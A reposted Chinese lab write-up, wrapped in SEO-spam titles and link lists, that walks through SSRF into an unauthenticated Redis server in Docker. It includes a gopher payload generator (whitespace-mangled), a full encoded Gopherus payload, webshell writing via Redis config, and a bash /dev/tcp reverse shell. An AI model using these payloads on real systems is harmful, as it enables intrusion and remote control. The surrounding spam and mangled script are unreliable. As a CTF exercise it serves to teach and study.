当前位置: 首页 > wzjs >正文

珠海网站设计多少钱832贫困地区农副产品网络销售平台

珠海网站设计多少钱,832贫困地区农副产品网络销售平台,网站建设外包项目,互联网营销是什么意思目录 环境搭建 ​编辑 发现内网存活主机 ​编辑 扫描内网端口 ​编辑 利用 Redis 未授权访问进行 Webshell 写入 步骤1:生成 payload 方式1:使用python生成 payload 方式二:使用 Gopher 工具 步骤 2:写入 Webshell&#xf…

目录

环境搭建

​编辑

发现内网存活主机

​编辑

 

扫描内网端口

​编辑

利用 Redis 未授权访问进行 Webshell 写入

步骤1:生成 payload

        方式1:使用python生成 payload

        方式二:使用 Gopher 工具

步骤 2:写入 Webshell(木马)

​编辑

步骤 3:访问 Webshell 获取 flag

​编辑

反弹 Shell 获取完整权限

步骤 1:修改 payload 生成反弹 Shell

步骤 2:监听端口

步骤 3:触发反弹 Shell


环境搭建

在本次实验中,我们使用 Docker 环境进行测试。

  1. 解压实验包,搭建 docker 环境。

docker环境

web的dockerfile

主要利用代码

redis服务器

  1. 通过 docker-compose up -d 启动相关容器,初次启动失败。

  1. 发现 docker 版本问题,删除 docker 版本 3,并尝试重新拉取 Ubuntu 16.04 版本:

    docker pull ubuntu:16.04
    
  1. 重新启动后,环境成功搭建,获取内网 IP。

发现内网存活主机

使用phpinfo来看内网IP地址

我们使用抓包工具检测内网存活主机,发现 172.18.0.2 存在 HTTP 服务,并返回 Go away

 

扫描内网端口

使用 burpsuite172.18.0.2 进行端口扫描,发现 6379 端口返回 Redis 报错信息,说明目标主机上运行着 Redis 服务,并且可能存在未授权访问漏洞。

利用 Redis 未授权访问进行 Webshell 写入

步骤1:生成 payload

        方式1:使用python生成 payload

我们利用 Redis 服务器的 config set dirconfig set dbfilename 进行 Webshell 写入。

Python 脚本生成 gopher 协议 payload,用于 SSRF 发送 Redis 命令:

import urllib
protocol="gopher://"
ip="172.22.0.2"    # 运行着 redis 的内网主机 IP
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="web.php"
path="/var/www/html/upload"
passwd=""
cmd=["flushall","set 1 {}".format(shell.replace(" ","${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"]
if passwd:cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for x in redis_arr:cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")cmd+=CRLFreturn cmdif __name__=="__main__":for x in cmd:payload += urllib.quote(redis_format(x))print(payload)
        方式二:使用 Gopher 工具

 GitHub 下载地址:Gopherus

该工具使用 Python2,生成 gopher payload。记得安装

sudo apt update
sudo apt install python2 python2-dev
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
python2 get-pip.py

# 下载并解压后运行 install.sh
./install.sh

生成paload

root@lll-virtual-machine:/home/Gopherus-master# gopherus --exploit redis________              .__/  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \\______  /\____/|   __/|___|  /\___  >__|  |____//____  >\/       |__|        \/     \/                 \/author: $_SpyD3r_$Ready To get SHELLWhat do you want?? (ReverseShell/PHPShell): PHPShell #木马语言Give web root location of server (default is /var/www/html): /var/www/html/upload #上传路径
Give PHP Payload (We have default PHP Shell): <?php system('cat /flag') ?> #一句话木马Your gopher link is Ready to get PHP Shell: gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%27cat%20/flag%27%29%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0AWhen it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter. -----------Made-by-SpyD3r-----------

步骤 2:写入 Webshell(木马)

接下来我们将生成后的payload进行二次编码

然后访问

Redis 执行后,会在 /var/www/html/upload 目录生成 shell.php,其中包含 webshell 代码。

骤 3:访问 Webshell 获取 flag

成功写入 web.php,使用 SSRF 访问它:

/?url=http://172.18.0.2/upload/web.php

Webshell 内容:

<?php system("cat /flag");?>

访问 web.php 后即可获取 flag

成功执行远程命令,获取 flag

反弹 Shell 获取完整权限

如果我们希望获取完整的交互式 Shell,可以利用 bash 反弹 Shell 技术。

步骤 1:修改 payload 生成反弹 Shell

我们修改 shell 代码,使其反弹 Shell:

<?php system("bash -c 'exec bash -i >& /dev/tcp/IP/端口 0>&1'");?>

步骤 2:监听端口

在本机开启 nc 监听:

nc -lvnp 4444

步骤 3:触发反弹 Shell

访问:

/?url=http://172.17.0.2/upload/web.php

成功获得 bash 交互式 Shell,即可进一步提权、查找 flag


文章转载自:

http://ChGG6Kyc.jpjxb.cn
http://rTOsMnAG.jpjxb.cn
http://pVsB39gf.jpjxb.cn
http://ZmOP1zJZ.jpjxb.cn
http://zQ4XMcMs.jpjxb.cn
http://I5pCusEz.jpjxb.cn
http://RmvmTxq6.jpjxb.cn
http://wWfaDvZH.jpjxb.cn
http://iezNnk6U.jpjxb.cn
http://sXGBYuLg.jpjxb.cn
http://LkklMWdM.jpjxb.cn
http://UCLlNTey.jpjxb.cn
http://ugDpUI6W.jpjxb.cn
http://xJ4imX32.jpjxb.cn
http://ctkmHL5M.jpjxb.cn
http://59LAxJzX.jpjxb.cn
http://22uzQw3l.jpjxb.cn
http://hy7VSB5S.jpjxb.cn
http://yTazgaMJ.jpjxb.cn
http://BwBCFoF1.jpjxb.cn
http://WY8VKUQG.jpjxb.cn
http://e75yWT8J.jpjxb.cn
http://k6sSDV1q.jpjxb.cn
http://0CizALeD.jpjxb.cn
http://bFISHSyJ.jpjxb.cn
http://6vNdkhJY.jpjxb.cn
http://T6zUOU9i.jpjxb.cn
http://FPpr8H34.jpjxb.cn
http://B9I71Znl.jpjxb.cn
http://eIH8kgVM.jpjxb.cn
http://www.dtcms.com/wzjs/694465.html

相关文章:

  • 淘宝网站设计分析专业的东莞网站设计
  • 备案后网站打不开品牌策划公司属于什么行业
  • 电子商务网站建设哪家好做网站排名大概要多少
  • 网站模板和后台怎样制作html个人网站
  • 浙江网站建设外贸做网站需要花钱吗
  • 删除百度收录的网站如何建设旅游网站
  • 鹤山市住房和城乡建设局网站网站开发网站开发
  • 北京微网站流量卡代理平台有哪些
  • 门户网站流程图Wordpress批量更新软件
  • 淘宝客网站备案流程湘潭网站制作建设
  • 建网站需要多钱潍坊网站建设咨询
  • 网站开发多少人建设专业网站所需设备
  • 娄底本地做寄生虫网站steam交易链接怎么获取
  • 做网站推广的公司中卫网红大型蹦床设备
  • 浙江省院士专家工作站建设网站中铁二局深圳公司官网
  • 网站设置访问权限杭州洛可可设计公司
  • 有做任务赚赏金的网站吗id怎么转wordpress
  • 泰安网站建设个人工作室wordpress二级导航
  • 综合电商网站建设需求文档wordpress第三方jquery
  • 免费的工程网站烘焙甜点培训学校
  • 山东省建设教育信息网站首页安网多少钱
  • 山东网站建设优化技术自己建设网站的费用
  • 互联网网站开发服务合同范本石家庄设计公司排名
  • 阳江市建设路龙源学校网站电子商务网站建设 期末考试试卷以及答案
  • 郑州哪里教做网站营销网站建设实力派易网拓
  • 友山建站优化网站留言板模板
  • 建设一个网站引言建设银行申请信用卡网站首页
  • 网站设计公司报价专业手机app开发公司
  • 网站建设软件 优帮云永州网站建设开发
  • 外贸网站建设关键点成都网站建设桔子